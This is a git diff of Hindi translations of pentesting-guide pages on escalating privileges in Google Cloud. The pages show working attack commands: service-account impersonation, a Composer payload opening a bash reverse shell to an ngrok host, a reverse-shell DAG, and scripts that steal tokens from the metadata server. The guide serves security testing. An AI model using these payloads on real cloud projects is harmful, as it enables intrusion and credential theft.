gcloud scheduler jobs update http test --schedule='* * * * *' --uri='https://87fd-2a02-9130-8532-2765-ec9f-cba-959e-d08a.ngrok-free.app' --oidc-service-account-email 111111111111-compute@developer.gserviceaccount.com [--oidc-token-audience '...']
|
||||
|
||||
# Listen in the ngrok address to get the OIDC token in clear text.
|
||||
```
|
||||
एक और उदाहरण एक निजी कुंजी को SA पर अपलोड करने और इसे अनुकरण करने का:
|
||||
</details>
|
||||
|
||||
एक और उदाहरण जिसमें SA पर private key अपलोड करके उसे impersonate करना:
|
||||
|
||||
<details><summary>Cloud Scheduler के माध्यम से Service Account पर private key अपलोड करें और उसे impersonate करें</summary>
|
||||
```bash
|
||||
# Generate local private key
|
||||
openssl req -x509 -nodes -newkey rsa:2048 -days 365 \
|
||||
@@ -102,6 +116,8 @@ EOF
|
||||
# Activate the generated key
|
||||
gcloud auth activate-service-account --key-file=/tmp/lab.json
|
||||
```
|
||||
</details>
|
||||
|
||||
## संदर्भ
|
||||
|
||||
- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)
|
||||
|
||||
+17
-5
@@ -6,7 +6,9 @@
|
||||
|
||||
### `cloudtasks.tasks.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
इन अनुमतियों के साथ एक हमलावर **अन्य सेवा खातों का अनुकरण** कर सकता है, जो निर्दिष्ट सेवा खाते की पहचान के साथ कार्यों को बनाने की अनुमति देता है। यह **IAM-संरक्षित Cloud Run या Cloud Functions** सेवाओं को **प्रमाणीकृत HTTP अनुरोध भेजने** की अनुमति देता है।
|
||||
इन अनुमतियों वाले हमलावर निर्दिष्ट service account की पहचान के साथ चलने वाले टास्क बनाकर **impersonate other service accounts** कर सकते हैं। यह अनुमति देता है कि वे **authenticated HTTP requests to IAM-protected Cloud Run or Cloud Functions** सेवाओं को भेज सकें।
|
||||
|
||||
<details><summary>Create Cloud Task with service account impersonation</summary>
|
||||
```bash
|
||||
gcloud tasks create-http-task \
|
||||
task-$(date '+%Y%m%d%H%M%S') \
|
||||
@@ -18,17 +20,25 @@ task-$(date '+%Y%m%d%H%M%S') \
|
||||
--body-content '{"hello":"world"}' \
|
||||
--oidc-service-account-email <account>@<project_id>.iam.gserviceaccount.com
|
||||
```
|
||||
</details>
|
||||
|
||||
### `cloudtasks.tasks.run`, `cloudtasks.tasks.list`
|
||||
|
||||
इन अनुमतियों के साथ एक हमलावर **मौजूदा निर्धारित कार्यों को चला सकता है** बिना उस कार्य से जुड़े सेवा खाते पर अनुमतियों के। यह उच्च विशेषाधिकार वाले सेवा खातों के साथ पहले से बनाए गए कार्यों को निष्पादित करने की अनुमति देता है।
|
||||
इन permissions के साथ एक हमलावर उन service account पर permissions के बिना भी **मौजूदा शेड्यूल किए गए टास्क चला सकता है**। इससे उन टास्क्स को निष्पादित करने की अनुमति मिलती है जिन्हें पहले अधिक विशेषाधिकार वाले service accounts से बनाया गया था।
|
||||
|
||||
<details><summary>मौजूदा Cloud Task को बिना actAs permission के चलाएँ</summary>
|
||||
```bash
|
||||
gcloud tasks run projects/<project_id>/locations/us-central1/queues/<queue_name>/tasks/<task_id>
|
||||
```
|
||||
इस कमांड को निष्पादित करने वाला प्रमुख **`iam.serviceAccounts.actAs` अनुमति की आवश्यकता नहीं है** कार्य की सेवा खाते पर। हालाँकि, यह केवल मौजूदा कार्यों को चलाने की अनुमति देता है - यह कार्यों को बनाने या संशोधित करने की क्षमता नहीं देता है।
|
||||
</details>
|
||||
|
||||
इस कमांड को निष्पादित करने वाले principal को टास्क के service account पर **`iam.serviceAccounts.actAs` permission** की आवश्यकता नहीं होती है। हालांकि, इससे केवल मौजूदा tasks को चलाने की अनुमति मिलती है — यह tasks बनाने या संशोधित करने की क्षमता नहीं देता।
|
||||
|
||||
### `cloudtasks.queues.setIamPolicy`
|
||||
|
||||
इस अनुमति के साथ एक हमलावर **अपने लिए या अन्य प्रमुखों को Cloud Tasks भूमिकाएँ प्रदान कर सकता है** विशिष्ट कतारों पर, संभावित रूप से `roles/cloudtasks.admin` तक बढ़ते हुए, जिसमें कार्यों को बनाने और चलाने की क्षमता शामिल है।
|
||||
इस permission वाले attacker विशेष queues पर खुद को या अन्य principals को **Cloud Tasks roles** दे सकते हैं, जिससे संभावित रूप से `roles/cloudtasks.admin` तक escalate हो सकता है, जो tasks बनाने और चलाने की क्षमता देता है।
|
||||
|
||||
<details><summary>Queue पर Cloud Tasks admin role देना</summary>
|
||||
```bash
|
||||
gcloud tasks queues add-iam-policy-binding \
|
||||
<queue_name> \
|
||||
@@ -36,7 +46,9 @@ gcloud tasks queues add-iam-policy-binding \
|
||||
--member serviceAccount:<account>@<project_id>.iam.gserviceaccount.com \
|
||||
--role roles/cloudtasks.admin
|
||||
```
|
||||
यह हमलावर को किसी भी सेवा खाते को जो वे नियंत्रित करते हैं, कतार पर पूर्ण Cloud Tasks व्यवस्थापक अनुमतियाँ देने की अनुमति देता है।
|
||||
</details>
|
||||
|
||||
यह हमलावर को किसी भी service account जिसे वे नियंत्रित करते हैं, उस queue पर पूर्ण Cloud Tasks admin permissions देने की अनुमति देता है।
|
||||
|
||||
## संदर्भ
|
||||
|
||||
|
||||
+37
-17
@@ -4,7 +4,7 @@
|
||||
|
||||
## composer
|
||||
|
||||
अधिक जानकारी के लिए:
|
||||
अधिक जानकारी:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-composer-enum.md
|
||||
@@ -12,18 +12,24 @@
|
||||
|
||||
### `composer.environments.create`
|
||||
|
||||
यह संभव है कि **किसी भी सेवा खाते** को नए बनाए गए composer वातावरण से उस अनुमति के साथ जोड़ा जाए। बाद में आप composer के अंदर कोड निष्पादित कर सकते हैं ताकि सेवा खाता टोकन चुराया जा सके।
|
||||
उस permission के साथ नए बनाए गए composer environment में **किसी भी service account को attach करना** संभव है। बाद में आप composer के अंदर कोड निष्पादित करके service account token चुरा सकते हैं।
|
||||
|
||||
<details><summary>अटैच किए गए service account के साथ Composer environment बनाना</summary>
|
||||
```bash
|
||||
gcloud composer environments create privesc-test \
|
||||
--project "${PROJECT_ID}" \
|
||||
--location europe-west1 \
|
||||
--service-account="${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com"
|
||||
```
|
||||
अधिक जानकारी के लिए [**यहाँ**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/i-composer.environmets.create.sh)।
|
||||
</details>
|
||||
|
||||
exploitation के बारे में अधिक जानकारी [**here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/i-composer.environmets.create.sh).
|
||||
|
||||
### `composer.environments.update`
|
||||
|
||||
कॉम्पोज़र वातावरण को अपडेट करना संभव है, उदाहरण के लिए, env वेरिएबल्स को संशोधित करना:
|
||||
composer environment को अपडेट करना संभव है, उदाहरण के लिए env variables को संशोधित करके:
|
||||
|
||||
<details><summary>code execution के लिए Composer environment के env variables अपडेट करें</summary>
|
||||
```bash
|
||||
# Even if it says you don't have enough permissions the update happens
|
||||
gcloud composer environments update \
|
||||
@@ -46,24 +52,36 @@ X-Allowed-Locations: 0x0
|
||||
|
||||
{"config": {"softwareConfig": {"envVariables": {"BROWSER": "/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/1890 0>&1' & #%s", "PYTHONWARNINGS": "all:0:antigravity.x:0:0"}}}}
|
||||
```
|
||||
TODO: RCE प्राप्त करें नए pypi पैकेजों को वातावरण में जोड़कर
|
||||
</details>
|
||||
|
||||
TODO: नए pypi packages जोड़कर environment में RCE प्राप्त करें
|
||||
|
||||
### Dags डाउनलोड करें
|
||||
|
||||
चालित dags के स्रोत कोड की जांच करें:
|
||||
चलाए जा रहे dags के स्रोत कोड की जाँच करें:
|
||||
|
||||
<details><summary>Composer environment से DAGs निर्यात और डाउनलोड करें</summary>
|
||||
```bash
|
||||
mkdir /tmp/dags
|
||||
gcloud composer environments storage dags export --environment <environment> --location <loc> --destination /tmp/dags
|
||||
```
|
||||
### Import Dags
|
||||
</details>
|
||||
|
||||
एक फ़ाइल में python DAG कोड जोड़ें और इसे चलाकर आयात करें:
|
||||
### Dags आयात करें
|
||||
|
||||
python DAG code को एक फ़ाइल में जोड़ें और इसे चलाकर import करें:
|
||||
|
||||
<details><summary>मैलिसियस DAG को Composer environment में इम्पोर्ट करें</summary>
|
||||
```bash
|
||||
# TODO: Create dag to get a rev shell
|
||||
gcloud composer environments storage dags import --environment test --location us-central1 --source /tmp/dags/reverse_shell.py
|
||||
```
|
||||
रिवर्स शेल DAG:
|
||||
```python:reverse_shell.py
|
||||
</details>
|
||||
|
||||
Reverse shell DAG:
|
||||
|
||||
<details><summary>Python DAG code for reverse shell</summary>
|
||||
```python
|
||||
import airflow
|
||||
from airflow import DAG
|
||||
from airflow.operators.bash_operator import BashOperator
|
||||
@@ -94,22 +112,24 @@ depends_on_past=False,
|
||||
priority_weight=2**31 - 1,
|
||||
do_xcom_push=False)
|
||||
```
|
||||
### Composer बकेट पर लिखने की अनुमति
|
||||
</details>
|
||||
|
||||
एक कंपोज़र वातावरण के सभी घटक (DAGs, प्लगइन्स और डेटा) एक GCP बकेट के अंदर संग्रहीत होते हैं। यदि हमलावर के पास इसके ऊपर पढ़ने और लिखने की अनुमति है, तो वह बकेट की निगरानी कर सकता है और **जब भी एक DAG बनाया या अपडेट किया जाता है, एक बैकडोर संस्करण सबमिट कर सकता है** ताकि कंपोज़र वातावरण स्टोरेज से बैकडोर संस्करण प्राप्त कर सके।
|
||||
### Composer bucket पर Write Access
|
||||
|
||||
इस हमले के बारे में अधिक जानकारी प्राप्त करें:
|
||||
Composer environments के सभी components (DAGs, plugins और data) एक GCP bucket में स्टोर होते हैं। अगर attacker के पास उस पर read और write permissions हैं, तो वह bucket की निगरानी कर सकता है और **whenever a DAG is created or updated, submit a backdoored version** ताकि composer environment storage से backdoored version ही प्राप्त कर ले।
|
||||
|
||||
Get more info about this attack in:
|
||||
|
||||
{{#ref}}
|
||||
gcp-storage-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
### प्लगइन्स आयात करें
|
||||
### Plugins इम्पोर्ट करना
|
||||
|
||||
TODO: जांचें कि प्लगइन्स अपलोड करके क्या समझौता किया जा सकता है
|
||||
TODO: plugins अपलोड करके क्या compromise किया जा सकता है यह जांचें
|
||||
|
||||
### डेटा आयात करें
|
||||
### Data इम्पोर्ट करना
|
||||
|
||||
TODO: जांचें कि डेटा अपलोड करके क्या समझौता किया जा सकता है
|
||||
TODO: data अपलोड करके क्या compromise किया जा सकता है यह जांचें
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+25
-17
@@ -6,16 +6,22 @@
|
||||
|
||||
### `container.clusters.get`
|
||||
|
||||
यह अनुमति **Kubernetes क्लस्टर के लिए क्रेडेंशियल्स इकट्ठा करने** की अनुमति देती है, जैसे:
|
||||
यह अनुमति Kubernetes cluster के लिए **क्रेडेंशियल्स इकट्ठा करने** की अनुमति देती है, जैसे:
|
||||
|
||||
<details><summary>Kubernetes cluster के क्रेडेंशियल्स प्राप्त करें</summary>
|
||||
```bash
|
||||
gcloud container clusters get-credentials <cluster_name> --zone <zone>
|
||||
```
|
||||
बिना अतिरिक्त अनुमतियों के, क्रेडेंशियल्स काफी बुनियादी होते हैं क्योंकि आप **कुछ संसाधनों की सूची बना सकते हैं**, लेकिन ये वातावरण में गलत कॉन्फ़िगरेशन खोजने के लिए उपयोगी होते हैं।
|
||||
</details>
|
||||
|
||||
Without extra permissions, the credentials are pretty basic as you can **just list some resource**, but hey are useful to find miss-configurations in the environment.
|
||||
|
||||
> [!NOTE]
|
||||
> ध्यान दें कि **कुबरनेट्स क्लस्टर को निजी रूप से कॉन्फ़िगर किया जा सकता है**, जो इंटरनेट से Kube-API सर्वर तक पहुंच को अस्वीकार करेगा।
|
||||
> Note that **kubernetes clusters might be configured to be private**, that will disallow that access to the Kube-API server from the Internet.
|
||||
|
||||
यदि आपके पास यह अनुमति नहीं है, तो आप अभी भी क्लस्टर तक पहुंच सकते हैं, लेकिन आपको **अपने स्वयं के kubectl कॉन्फ़िग फ़ाइल** को क्लस्टर की जानकारी के साथ बनाना होगा। एक नया उत्पन्न किया गया ऐसा दिखता है:
|
||||
If you don't have this permission you can still access the cluster, but you need to **create your own kubectl config file** with the clusters info. A new generated one looks like this:
|
||||
|
||||
<details><summary>उदाहरण: kubectl config file GKE cluster के लिए</summary>
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
clusters:
|
||||
@@ -44,44 +50,46 @@ expiry-key: "{.credential.token_expiry}"
|
||||
token-key: "{.credential.access_token}"
|
||||
name: gcp
|
||||
```
|
||||
</details>
|
||||
|
||||
### `container.roles.escalate` | `container.clusterRoles.escalate`
|
||||
|
||||
**Kubernetes** डिफ़ॉल्ट रूप से **प्रिंसिपल्स** को **रोल्स** और **क्लस्टररोल्स** को **बनाने** या **अपडेट** करने से रोकता है जिनमें **ज्यादा अनुमतियाँ** होती हैं जो प्रिंसिपल के पास हैं। हालाँकि, एक **GCP** प्रिंसिपल जिसके पास वह अनुमतियाँ हैं, **ज्यादा अनुमतियों** के साथ रोल्स/क्लस्टररोल्स को **बनाने/अपडेट** करने में **सक्षम** होगा, इस प्रकार Kubernetes की इस व्यवहार के खिलाफ सुरक्षा को बायपास करेगा।
|
||||
**Kubernetes** डिफ़ॉल्ट रूप से **prevents** प्रिंसिपल्स को उन **Roles** और **ClusterRoles** को **create** या **update** करने से रोकता है जिनमें उनके पास मौजूद **more permissions** से अधिक permissions हों। हालांकि, एक **GCP** प्रिंसिपल जिसके पास ये permissions हों, वह **able to create/update Roles/ClusterRoles with more permissions** के साथ Roles/ClusterRoles को create/update कर पाएगा, जिससे Kubernetes की इस रक्षा को प्रभावी रूप से बाइपास किया जा सकता है।
|
||||
|
||||
**`container.roles.create`** और/या **`container.roles.update`** या **`container.clusterRoles.create`** और/या **`container.clusterRoles.update`** क्रमशः उन विशेषाधिकार वृद्धि क्रियाओं को करने के लिए **भी** **आवश्यक** हैं।
|
||||
**`container.roles.create`** और/या **`container.roles.update`** OR **`container.clusterRoles.create`** और/या **`container.clusterRoles.update`** क्रमशः उन privilege escalation क्रियाओं को करने के लिए **भी** **necessary** हैं।
|
||||
|
||||
### `container.roles.bind` | `container.clusterRoles.bind`
|
||||
|
||||
**Kubernetes** डिफ़ॉल्ट रूप से **प्रिंसिपल्स** को **रोलबाइंडिंग्स** और **क्लस्टररोलबाइंडिंग्स** को **बनाने** या **अपडेट** करने से रोकता है ताकि **ज्यादा अनुमतियाँ** दी जा सकें जो प्रिंसिपल के पास हैं। हालाँकि, एक **GCP** प्रिंसिपल जिसके पास वह अनुमतियाँ हैं, **ज्यादा अनुमतियों** के साथ रोलबाइंडिंग्स/क्लस्टररोलबाइंडिंग्स को **बनाने/अपडेट** करने में **सक्षम** होगा, इस प्रकार Kubernetes की इस व्यवहार के खिलाफ सुरक्षा को बायपास करेगा।
|
||||
**Kubernetes** डिफ़ॉल्ट रूप से प्रिंसिपल्स को **RoleBindings** और **ClusterRoleBindings** को **create** या **update** करके उन लोगों को **more permissions** देने से **prevents** करता है जिनके पास वे permissions नहीं हैं। हालांकि, एक **GCP** प्रिंसिपल जिसके पास ये permissions हों, वह **able to create/update RolesBindings/ClusterRolesBindings with more permissions** के साथ RolesBindings/ClusterRolesBindings को create/update कर पाएगा, जिससे Kubernetes की इस सुरक्षा का बायपास हो जाएगा।
|
||||
|
||||
**`container.roleBindings.create`** और/या **`container.roleBindings.update`** या **`container.clusterRoleBindings.create`** और/या **`container.clusterRoleBindings.update`** क्रमशः उन विशेषाधिकार वृद्धि क्रियाओं को करने के लिए भी **आवश्यक** हैं।
|
||||
**`container.roleBindings.create`** और/या **`container.roleBindings.update`** OR **`container.clusterRoleBindings.create`** और/या **`container.clusterRoleBindings.update`** क्रमशः उन privilege escalation क्रियाओं को करने के लिए भी आवश्यक हैं।
|
||||
|
||||
### `container.cronJobs.create` | `container.cronJobs.update` | `container.daemonSets.create` | `container.daemonSets.update` | `container.deployments.create` | `container.deployments.update` | `container.jobs.create` | `container.jobs.update` | `container.pods.create` | `container.pods.update` | `container.replicaSets.create` | `container.replicaSets.update` | `container.replicationControllers.create` | `container.replicationControllers.update` | `container.scheduledJobs.create` | `container.scheduledJobs.update` | `container.statefulSets.create` | `container.statefulSets.update`
|
||||
|
||||
इन सभी अनुमतियों से आपको **एक संसाधन बनाने या अपडेट करने** की अनुमति मिलेगी जहाँ आप **एक पॉड** को **परिभाषित** कर सकते हैं। एक पॉड को परिभाषित करते समय आप **SA** को **निर्धारित** कर सकते हैं जो **संलग्न** होने वाला है और **इमेज** जो **चलने वाली** है, इसलिए आप एक इमेज चला सकते हैं जो **SA के टोकन को आपके सर्वर पर एक्सफिल्ट्रेट** करेगी जिससे आप किसी भी सेवा खाते में वृद्धि कर सकते हैं।\
|
||||
अधिक जानकारी के लिए देखें:
|
||||
ये सभी permissions आपको एक ऐसा resource **create** या **update** करने की अनुमति देंगे जहाँ आप एक **pod** **define** कर सकते हैं। एक pod define करके आप उस **SA** को specify कर सकते हैं जो attach होगा और वह **image** specify कर सकते हैं जो run होगी; इसलिए आप ऐसी image चला सकते हैं जो उस **SA** के **token** को आपके सर्वर पर **exfiltrate** कर दे, जिससे आप किसी भी service account पर escalate कर सकेंगे.
|
||||
For more information check:
|
||||
|
||||
चूंकि हम एक GCP वातावरण में हैं, आप **मेटाडेटा** सेवा से **नोडपूल GCP SA** को भी **प्राप्त** कर सकते हैं और **GCP में विशेषाधिकार बढ़ा सकते हैं** (डिफ़ॉल्ट रूप से कंप्यूट SA का उपयोग किया जाता है)।
|
||||
चूँकि हम GCP environment में हैं, आप metadata service से nodepool GCP SA भी प्राप्त कर पाएँगे और GCP में privileges escalate कर पाएँगे (डिफ़ॉल्ट रूप से compute SA उपयोग किया जाता है)।
|
||||
|
||||
### `container.secrets.get` | `container.secrets.list`
|
||||
|
||||
जैसा कि [**इस पृष्ठ में समझाया गया है**, ](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#listing-secrets)इन अनुमतियों के साथ आप **कुबेरनेट्स** के सभी **SAs** के **टोकन** को **पढ़** सकते हैं, इसलिए आप उनके लिए विशेषाधिकार बढ़ा सकते हैं।
|
||||
[**explained in this page**, ](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html#listing-secrets)इन permissions के साथ आप Kubernetes के सभी SAs के **tokens** पढ़ सकते हैं, इसलिए आप उन SAs तक escalate कर सकते हैं।
|
||||
|
||||
### `container.pods.exec`
|
||||
|
||||
इस अनुमति के साथ आप **पॉड्स में exec** करने में सक्षम होंगे, जो आपको **Kubernetes SAs** तक **पहुँच** देता है जो पॉड्स में चल रहे हैं ताकि आप K8s के भीतर विशेषाधिकार बढ़ा सकें, लेकिन आप **नोडपूल** के **GCP सेवा खाते** को भी **चुरा** सकते हैं, **GCP में विशेषाधिकार बढ़ाते हुए**।
|
||||
इस permission के साथ आप **exec into pods** कर पाएँगे, जिससे आपको pods में चल रहे सभी **Kubernetes SAs** तक पहुँच मिलती है ताकि आप K8s में privileges escalate कर सकें; साथ ही आप **NodePool** का **GCP Service Account** भी **steal** कर के GCP में privileges escalate कर पाएँगे।
|
||||
|
||||
### `container.pods.portForward`
|
||||
|
||||
जैसा कि **इस पृष्ठ में समझाया गया है**, इन अनुमतियों के साथ आप **पॉड्स** में चल रहे **स्थानीय सेवाओं** तक **पहुँच** सकते हैं जो आपको **Kubernetes में विशेषाधिकार बढ़ाने** की अनुमति दे सकते हैं (और **GCP** में यदि आप किसी तरह मेटाडेटा सेवा से बात करने में सफल होते हैं)**।**
|
||||
जैसा कि इस पृष्ठ में समझाया गया है, इन permissions के साथ आप pods में चल रहे local services तक पहुँच सकते हैं जो आपको Kubernetes (और अगर किसी तरह आप metadata service से बात कर पाएँ तो GCP में भी) में privileges escalate करने की अनुमति दे सकते हैं।
|
||||
|
||||
### `container.serviceAccounts.createToken`
|
||||
|
||||
**अनुमति** के **नाम** के कारण, यह **लगता है कि यह आपको K8s सेवा खातों के टोकन उत्पन्न करने की अनुमति देगा**, इसलिए आप Kubernetes के भीतर **किसी भी SA** के लिए **privesc** कर सकेंगे। हालाँकि, मैंने इसका उपयोग करने के लिए कोई API एंडपॉइंट नहीं पाया, इसलिए मुझे बताएं यदि आप इसे खोजते हैं।
|
||||
permission के नाम की वजह से यह लगता है कि यह आपको K8s Service Accounts के tokens generate करने की अनुमति देगा, इसलिए आप Kubernetes के अंदर किसी भी SA पर privesc कर पाएँगे। हालांकि, मैं इसे उपयोग करने के लिए कोई API endpoint नहीं ढूँढ पाया/पाई — अगर आप इसे ढूँढते हैं तो बताइए।
|
||||
|
||||
### `container.mutatingWebhookConfigurations.create` | `container.mutatingWebhookConfigurations.update`
|
||||
|
||||
ये अनुमतियाँ आपको Kubernetes में विशेषाधिकार बढ़ाने की अनुमति दे सकती हैं, लेकिन अधिक संभावना है, आप उनका दुरुपयोग करके **क्लस्टर में स्थायी** हो सकते हैं।\
|
||||
अधिक जानकारी के लिए [**इस लिंक का पालन करें**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#malicious-admission-controller).
|
||||
ये permissions आपको Kubernetes में privileges escalate करने की अनुमति दे सकती हैं, लेकिन अधिक सम्भवतः आप इनका दुरुपयोग करके cluster में **persist** कर सकते हैं।
|
||||
For more information [**follow this link**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html#malicious-admission-controller).
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -10,17 +10,19 @@
|
||||
|
||||
### `dataproc.clusters.get`, `dataproc.clusters.use`, `dataproc.jobs.create`, `dataproc.jobs.get`, `dataproc.jobs.list`, `storage.objects.create`, `storage.objects.get`
|
||||
|
||||
मैं इस विधि का उपयोग करके एक रिवर्स शेल प्राप्त करने में असमर्थ था, हालाँकि नीचे वर्णित विधि का उपयोग करके मेटाडेटा एंडपॉइंट से SA टोकन लीक करना संभव है।
|
||||
मैं इस तरीके से reverse shell पाने में असफल रहा, हालांकि नीचे बताए गए तरीके से metadata endpoint से SA token को leak करना संभव है।
|
||||
|
||||
#### शोषण करने के चरण
|
||||
#### Steps to exploit
|
||||
|
||||
- GCP बकेट पर नौकरी स्क्रिप्ट रखें
|
||||
- GCP Bucket पर job script रखें
|
||||
|
||||
- Dataproc क्लस्टर में एक नौकरी सबमिट करें।
|
||||
- Dataproc cluster पर एक job सबमिट करें।
|
||||
|
||||
- मेटाडेटा सर्वर तक पहुँचने के लिए नौकरी का उपयोग करें।
|
||||
- metadata server तक पहुँचने के लिए job का उपयोग करें।
|
||||
|
||||
- क्लस्टर द्वारा उपयोग किए जाने वाले सेवा खाता टोकन को लीक करें।
|
||||
- cluster द्वारा उपयोग किए गए service account token को leak करें।
|
||||
|
||||
<details><summary>Python स्क्रिप्ट जो metadata server से SA token प्राप्त करे</summary>
|
||||
```python
|
||||
import requests
|
||||
|
||||
@@ -41,7 +43,9 @@ return None
|
||||
if __name__ == "__main__":
|
||||
fetch_metadata_token()
|
||||
```
|
||||
</details>
|
||||
|
||||
<details><summary>Dataproc क्लस्टर में दुर्भावनापूर्ण जॉब सबमिट करें</summary>
|
||||
```bash
|
||||
# Copy the script to the storage bucket
|
||||
gsutil cp <python-script> gs://<bucket-name>/<python-script>
|
||||
@@ -51,4 +55,6 @@ gcloud dataproc jobs submit pyspark gs://<bucket-name>/<python-script> \
|
||||
--cluster=<cluster-name> \
|
||||
--region=<region>
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## IAM
|
||||
|
||||
IAM के बारे में अधिक जानकारी प्राप्त करें:
|
||||
IAM के बारे में अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-iam-and-org-policies-enum.md
|
||||
@@ -12,40 +12,54 @@ IAM के बारे में अधिक जानकारी प्र
|
||||
|
||||
### `iam.roles.update` (`iam.roles.get`)
|
||||
|
||||
उल्लेखित अनुमतियों के साथ एक हमलावर आपके लिए असाइन की गई भूमिका को अपडेट करने में सक्षम होगा और आपको अन्य संसाधनों के लिए अतिरिक्त अनुमतियाँ देगा जैसे:
|
||||
उल्लेखित permissions वाले attacker आपके लिए असाइन किए गए role को अपडेट कर सकेंगे और आपको अन्य resources जैसे अतिरिक्त permissions दे सकेंगे:
|
||||
|
||||
<details><summary>IAM role को अपडेट करके permissions जोड़ें</summary>
|
||||
```bash
|
||||
gcloud iam roles update <rol name> --project <project> --add-permissions <permission>
|
||||
```
|
||||
आप एक स्क्रिप्ट यहाँ पा सकते हैं जो **एक vuln वातावरण के निर्माण, शोषण और सफाई को स्वचालित करती है** और एक पायथन स्क्रिप्ट जो इस विशेषाधिकार का दुरुपयोग करती है [**यहाँ**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.roles.update.py)। अधिक जानकारी के लिए [**मूल शोध**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/) की जाँच करें।
|
||||
</details>
|
||||
|
||||
आप एक स्क्रिप्ट पा सकते हैं जो vuln environment की **creation, exploit and cleaning** को automate करती है और इस privilege का दुरुपयोग करने के लिए एक python स्क्रिप्ट [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.roles.update.py). अधिक जानकारी के लिए [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/) देखें।
|
||||
|
||||
### `iam.serviceAccounts.getAccessToken` (`iam.serviceAccounts.get`)
|
||||
|
||||
एक हमलावर जिसके पास उल्लेखित अनुमतियाँ हैं, **एक सेवा खाते से संबंधित एक एक्सेस टोकन का अनुरोध करने में सक्षम होगा**, इसलिए यह संभव है कि हम एक सेवा खाते का एक्सेस टोकन अनुरोध करें जिसमें हमारे से अधिक विशेषाधिकार हों।
|
||||
उल्लेखित permissions वाले attacker किसी Service Account के लिए **access token request** कर पाएगा, इसलिए यह संभव है कि हमसे अधिक privileges वाले Service Account का access token प्राप्त किया जा सके।
|
||||
|
||||
<details><summary>Impersonate service account to get access token</summary>
|
||||
```bash
|
||||
gcloud --impersonate-service-account="${victim}@${PROJECT_ID}.iam.gserviceaccount.com" \
|
||||
auth print-access-token
|
||||
```
|
||||
आप एक स्क्रिप्ट पा सकते हैं जो [**एक vuln वातावरण के निर्माण, शोषण और सफाई को स्वचालित करती है यहाँ**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/4-iam.serviceAccounts.getAccessToken.sh) और एक पायथन स्क्रिप्ट जो इस विशेषाधिकार का दुरुपयोग करती है [**यहाँ**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getAccessToken.py)। अधिक जानकारी के लिए [**मूल शोध**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/) की जांच करें।
|
||||
</details>
|
||||
|
||||
आप एक स्क्रिप्ट पा सकते हैं जो [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/4-iam.serviceAccounts.getAccessToken.sh) को ऑटोमेट करती है और इस privilege को दुरुपयोग करने के लिए एक python स्क्रिप्ट [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getAccessToken.py) मौजूद है। अधिक जानकारी के लिए [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/) देखें।
|
||||
|
||||
### `iam.serviceAccountKeys.create`
|
||||
|
||||
एक हमलावर जिसके पास उल्लेखित अनुमतियाँ हैं, **एक सेवा खाते के लिए एक उपयोगकर्ता-प्रबंधित कुंजी बनाने में सक्षम होगा**, जो हमें उस सेवा खाते के रूप में GCP तक पहुँचने की अनुमति देगा।
|
||||
उल्लेखित अनुमतियाँ रखने वाला एक हमलावर **create a user-managed key for a Service Account** कर सकेगा, जिससे हम उस Service Account के रूप में GCP में access कर सकेंगे।
|
||||
|
||||
<details><summary>Service Account की कुंजी बनाएँ और प्रमाणीकरण करें</summary>
|
||||
```bash
|
||||
gcloud iam service-accounts keys create --iam-account <name> /tmp/key.json
|
||||
|
||||
gcloud auth activate-service-account --key-file=sa_cred.json
|
||||
```
|
||||
आप एक स्क्रिप्ट पा सकते हैं जो [**एक vuln वातावरण के निर्माण, शोषण और सफाई को स्वचालित करने के लिए यहाँ**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/3-iam.serviceAccountKeys.create.sh) और इस विशेषता का दुरुपयोग करने के लिए एक पायथन स्क्रिप्ट [**यहाँ**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccountKeys.create.py) है। अधिक जानकारी के लिए [**मूल शोध**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/) की जांच करें।
|
||||
</details>
|
||||
|
||||
ध्यान दें कि **`iam.serviceAccountKeys.update` एक SA की कुंजी को संशोधित करने के लिए काम नहीं करेगा** क्योंकि ऐसा करने के लिए `iam.serviceAccountKeys.create` अनुमति भी आवश्यक है।
|
||||
